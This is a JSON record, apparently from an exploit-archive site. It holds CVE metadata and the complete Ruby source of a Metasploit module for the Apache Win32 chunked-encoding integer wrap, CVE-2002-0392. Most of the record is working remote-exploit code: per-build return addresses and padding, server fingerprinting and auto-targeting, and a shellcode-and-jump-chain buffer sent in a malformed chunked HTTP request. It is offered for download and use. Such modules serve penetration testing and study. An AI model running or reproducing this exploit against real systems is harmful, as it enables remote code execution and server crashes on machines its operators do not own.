{"exploit":{"id":"MSF-windows--http--apache_chunked","name":"Apache Win32 Chunked Encoding","description":"This module exploits the chunked transfer integer wrap vulnerability in Apache version 1.2.x to 1.3.24. This particular module has been tested with all versions of the official Win32 build between 1.3.9 and 1.3.24. Additionally, it should work against most co-branded and bundled versions of Apache (Oracle 8i, 9i, IBM HTTPD, etc). You will need to use the Check() functionality to determine the exact target version prior to launching the exploit. The version of Apache bundled with Oracle 8.1.7 will not automatically restart, so if you use the wrong target value, the server will crash.","cves":["CVE-2002-0392"],"author":"hdm, jduck","published":"2002-06-19","platform":"Windows","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/ab00b9e7e08b1fdc68bdba12de6db2aa4436815e/modules/exploits/windows/http/apache_chunked.rb","path":"modules/exploits/windows/http/apache_chunked.rb","revision":"ab00b9e7e08b1fdc68bdba12de6db2aa4436815e","filename":"apache_chunked.rb","vulnerabilities":[{"id":"CVE-2002-0392","state":"PUBLISHED","title":null,"titleSource":null,"description":"Apache 1.3 through 1.3.24, and Apache 2.0 through 2.0.36, allows remote attackers to cause a denial of service and possibly execute arbitrary code via a chunk-encoded HTTP request that causes Apache to use an incorrect size.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2002-0392","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2002-0392"},"updatedAt":"2024-08-08T02:49:28.274Z","retrievedAt":"2026-11-27T01:02:37.749Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-windows--http--apache_chunked.png?v=2","url":"https://exploitbin.com/exploits/MSF-windows--http--apache_chunked","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-windows--http--apache_chunked/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-windows--http--apache_chunked/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = GoodRanking\n\n  HttpFingerprint = { :pattern => [ /Apache/ ] }\n\n  include Msf::Exploit::Remote::HttpClient\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Apache Win32 Chunked Encoding',\n        'Description' => %q{\n          This module exploits the chunked transfer integer wrap\n          vulnerability in Apache version 1.2.x to 1.3.24. This\n          particular module has been tested with all versions of the\n          official Win32 build between 1.3.9 and 1.3.24. Additionally,\n          it should work against most co-branded and bundled versions\n          of Apache (Oracle 8i, 9i, IBM HTTPD, etc).\n\n          You will need to use the Check() functionality to determine\n          the exact target version prior to launching the exploit. The\n          version of Apache bundled with Oracle 8.1.7 will not\n          automatically restart, so if you use the wrong target value,\n          the server will crash.\n        },\n        'Author' => [ 'hdm', 'jduck' ],\n        'References' => [\n          [ 'CVE', '2002-0392' ],\n          [ 'OSVDB', '838'],\n          [ 'BID', '5033' ]\n        ],\n        'Privileged' => true,\n        'Platform' => 'win',\n        'Payload' => {\n          'Space' => 987,\n          'BadChars' => \"\\x00\\x2b\\x26\\x3d\\x25\\x0a\\x0d\\x20\",\n          'MinNops' => 200,\n          'Prepend' => \"\\x81\\xc4\\xff\\xef\\xff\\xff\\x44\",\n\n        },\n        'Targets' => [\n          [ 'Windows Generic Bruteforce', {} ],\n\n          # Official Apache.org win32 builds\n          [\n            'Apache.org Build 1.3.9->1.3.19',\n            {\n              'Ret' => 0x00401151,\n              'Pad' => [6, 2, 0, 4, 1, 3, 5, 7]\n            }\n          ],\n          [\n            'Apache.org Build 1.3.22->1.3.24',\n            {\n              'Ret' => 0x00401141,\n              'Pad' => [2, 6, 0, 4, 1, 3, 5, 7]\n            }\n          ],\n          [\n            'Apache.org Build 1.3.19->1.3.24',\n            {\n              'Ret' => 0x6ff6548d,\n              'Pad' => [2, 6, 0, 4, 1, 3, 5, 7]\n            }\n          ],\n          [\n            'Apache.org Build 1.3.22',\n            {\n              'Ret' => 0x6ff762ac,\n              'Pad' => [2, 6, 0, 4, 1, 3, 5, 7]\n            }\n          ],\n\n          # Return to Win9xConHook.dll via call ebx\n          [\n            'Apache.org Build 1.3.17->1.3.24 (Windows 2000)',\n            {\n              'Ret' => 0x1c0f13e5,\n              'Pad' => [2, 6, 0, 4, 1, 3, 5, 7]\n            }\n          ],\n\n          # Return to Win9xConHook.dll via call esi\n          [\n            'Apache.org Build 1.3.17->1.3.24 (Windows NT)',\n            {\n              'Ret' => 0x1c0f1033,\n              'Pad' => [2, 6, 0, 4, 1, 3, 5, 7]\n            }\n          ],\n\n          # Interesting return to PEB trick for Windows 2003 systems...\n          [\n            'Windows 2003 English SP0',\n            {\n              'Ret' => 0x7ffc0638,\n              'Pad' => [2, 6, 5, 4, 1, 3, 0, 7]\n            }\n          ],\n\n          # Pop/Pop/Return on Windows 2000\n          [\n            'Windows 2000 English',\n            {\n              'Ret' => 0x75022ac4,\n              'Pad' => [2, 6, 5, 4, 1, 3, 0, 7]\n            }\n          ],\n\n          # Oracle HTTPD: [ 8.1.7 ] (one shot)\n          # Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4\n          # OpenSSL/0.9.5a mod_perl/1.24\n          [\n            'Oracle 8.1.7 Apache 1.3.12',\n            {\n              'Ret' => 0x1d84d42c,\n              'Pad' => [7]\n            }\n          ],\n\n          # Oracle HTTPD: [ 9.1.0 ] (multiple shots)\n          # Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4\n          # OpenSSL/0.9.5a mod_perl/1.24\n          [\n            'Oracle 9.1.0 Apache 1.3.12',\n            {\n              'Ret' => 0x10016061,\n              'Pad' => [5, 6, 0, 4, 1, 3, 2, 7]\n            }\n          ],\n\n          # Oracle HTTPD: [ 9.2.0 ] (multiple shots)\n          # Oracle HTTP Server Powered by Apache/1.3.22 (Win32)\n          # mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b\n          # mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25\n          [\n            'Oracle 9.2.0 Apache 1.3.22',\n            {\n              'Ret' => 0x6ff6427a,\n              'Pad' => [5, 6, 0, 4, 1, 3, 2, 7]\n            }\n          ],\n\n          # Generic debugging targets\n          [\n            'Debugging Target',\n            {\n              'Ret' => 0xcafebabe,\n              'Pad' => [0, 1, 2, 3, 4, 5, 6, 7]\n            }\n          ]\n        ],\n        'DisclosureDate' => '2002-06-19',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end\n\n  def check\n    response = send_request_raw({ 'uri' => '/' }, 5)\n    if response.nil?\n      vprint_status(\"No response to request\")\n      return Exploit::CheckCode::Unknown('Could not determine the target status')\n    end\n\n    http_fingerprint({ :response => response })  # Custom Server header matching\n\n    code = Exploit::CheckCode::Appears('Target appears to be vulnerable')\n\n    case response['Server']\n    when \"Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22\"\n      vprint_status(\"This looks like an Oracle 8.1.7 Apache service (one-shot only)\")\n    when \"Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.24\"\n      vprint_status(\"This looks like an Oracle 9.1.0 Apache service (multiple tries allowed)\")\n    when \"Oracle HTTP Server Powered by Apache/1.3.22 (Win32) mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25\"\n      vprint_status(\"This looks like an Oracle 9.2.0 Apache service (multiple tries allowed)\")\n    when /IBM_HTTP_SERVER\\/1\\.3\\.(19\\.[3-9]|2[0-9]\\.)/\n      vprint_status(\"IBM backported the patch, this system is not vulnerable\")\n      code = Exploit::CheckCode::Safe('Target is not vulnerable')\n    when /Apache(-AdvancedExtranetServer)?\\/(1\\.([0-2]\\.[0-9]|3\\.([0-9][^0-9]|[0-1][0-9]|2[0-5]))|2\\.0.([0-9][^0-9]|[0-2][0-9]|3[0-8]))/\n    else\n      code = Exploit::CheckCode::Safe('Target is not vulnerable')\n    end\n\n    vprint_status(\"Server: #{response['Server']}\")\n\n    return code\n  end\n\n  def auto_target\n    response = send_request_raw({ 'uri' => '/' }, 5)\n    if response.nil?\n      print_error(\"No response to request\")\n      return targets_to_try\n    end\n\n    http_fingerprint({ :response => response })  # Custom Server header matching / automatic target selection\n\n    targets_to_try = []\n    server_hdr = response['Server']\n    print_status(\"Server: #{server_hdr}\")\n\n    case server_hdr\n    when \"Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22\"\n      targets_to_try.push(targets[9])\n\n    when \"Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.24\"\n      targets_to_try.push(targets[10])\n\n    when \"Oracle HTTP Server Powered by Apache/1.3.22 (Win32) mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25\"\n      targets_to_try.push(targets[11])\n\n    when /IBM_HTTP_SERVER\\/1\\.3\\.(19\\.[3-9]|2[0-9]\\.)/\n      # fall through\n\n    else\n      # check for apache version ranges\n      if (server_hdr =~ /Apache\\/([^ ]*)/) or (server_hdr =~ /Apache-AdvancedExtranetServer\\/([^ ]*)/)\n        version = $1\n\n        # print_status(\"Apache version: #{version}\")\n        ver = version.split('.')\n        if (ver.length == 3)\n          major = ver[0].to_i\n          minor = ver[1].to_i\n          rev = ver[2].to_i\n          if (major == 1 and minor == 3)\n            targets_to_try.push(targets[1]) if (rev >= 9 and rev <= 19)\n            targets_to_try.push(targets[2]) if (rev >= 22 and rev <= 24)\n            targets_to_try.push(targets[3]) if (rev >= 19 and rev <= 24)\n            targets_to_try.push(targets[4]) if (rev == 22)\n\n            # Add the remaining targets, regardless of quality...\n            if (server_hdr =~ /Win32/)\n              # targets 4, 5, 6, 7\n              if (rev >= 17 and rev <= 24)\n                targets_to_try.push(targets[5])\n                targets_to_try.push(targets[6])\n              end\n              targets_to_try.push(targets[7])\n              targets_to_try.push(targets[8])\n            end\n          end\n          # Version 1.0 - 1.2, Fall through...\n        end\n        # ServerTokens setting isn't giving up enough information ...  Might need to try?\n      end\n      # Not Apache?  Fall through...\n    end\n\n    targets_to_try\n  end\n\n  #\n  # If auto, ask the auto_target function for a list of\n  # targets to try...\n  #\n  # If not auto, just try the selected target.\n  #\n  def exploit\n    if target_index == 0\n      targs = auto_target\n      print_status(\"Auto-targeting returned #{targs.length} candidates...\")\n      targs.each_with_index { |targ, idx|\n        # Never try the debug target automatically :)\n        next if targ.name =~ /Debug/\n\n        exploit_target(targ)\n      }\n    else\n      exploit_target(target)\n    end\n  end\n\n  def exploit_target(target)\n    target['Pad'].each { |pad|\n      pattern =\n        rand_text_alphanumeric(3936) +\n        payload.encoded +\n        make_nops(6) + \"\\xe9\" + [-900].pack('V') + \"pP\" +\n        rand_text_alphanumeric(pad)\n\n      # Move slightly further back to allow padding changes\n      pattern +=\n        \"\\xeb\\xf0\\xde\\xad\" +\n        [target.ret].pack('V')\n\n      # Create a chain of return addresses and reverse jumps\n      254.times { |x|\n        pattern +=\n          \"\\xeb\\xf6\\xbe\\xef\" +\n          [target.ret].pack('V')\n      }\n\n      # Even out the request length based on the padding value\n      # This is required to reliably hit the return address offset\n      pattern += rand_text_alphanumeric(8 - pad)\n\n      #\n      # Regardless of what return we hit, execution jumps backwards to the shellcode:\n      #                                   _______________ _______________ ___________\n      #       _________    _____________  | ________    | | ______      | | ______\n      #       v       |    v           |  v v      |    | v v    |      | v v    |\n      # [shellcode] [jmp -949] [pad] [jmp -16] [ret] [jmp -8] [ret] [jmp -8] [ret]\n      #\n\n      print_status(\"Trying #{target.name} [ #{\"0x%.8x\" % target.ret}/#{pad} ]\")\n\n      # Build the request\n      send_request_raw({\n        'uri' => '/',\n        'headers' =>\n          {\n            'Transfer-Encoding' => \"CHUNKED\"\n          },\n        'data' => \"FFFFFFF0 \" + pattern,\n      }, 2)\n\n      # Check the handler\n      handler\n    }\n  end\nend\n","sha256":"bd1c543e00c09a425470913826bd95a4973a264fa79643185d2514ea458106c9","bytes":10916,"fetchedAt":"2026-11-27T01:02:35.098Z","encoding":"utf-8 (display only; download retains original bytes)"}